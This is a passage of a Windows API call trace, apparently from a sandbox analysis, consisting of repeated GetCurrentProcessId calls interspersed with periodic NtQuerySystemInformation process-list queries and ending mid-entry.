[0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0232.435] GetCurrentProcessId () returned 0xbf4 [0233.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb80) returned 0x0 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.084] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.085] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.086] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.087] GetCurrentProcessId () returned 0xbf4 [0233.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.055] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.056] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.057] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.058] GetCurrentProcessId () returned 0xbf4 [0234.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.734] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.735] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.736] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0234.737] GetCurrentProcessId () returned 0xbf4 [0235.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.353] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.354] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.355] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.356] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.357] GetCurrentProcessId () returned 0xbf4 [0235.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.982] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.983] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.984] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0235.985] GetCurrentProcessId () returned 0xbf4 [0236.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0236.571] GetCurrentProcessId () returned 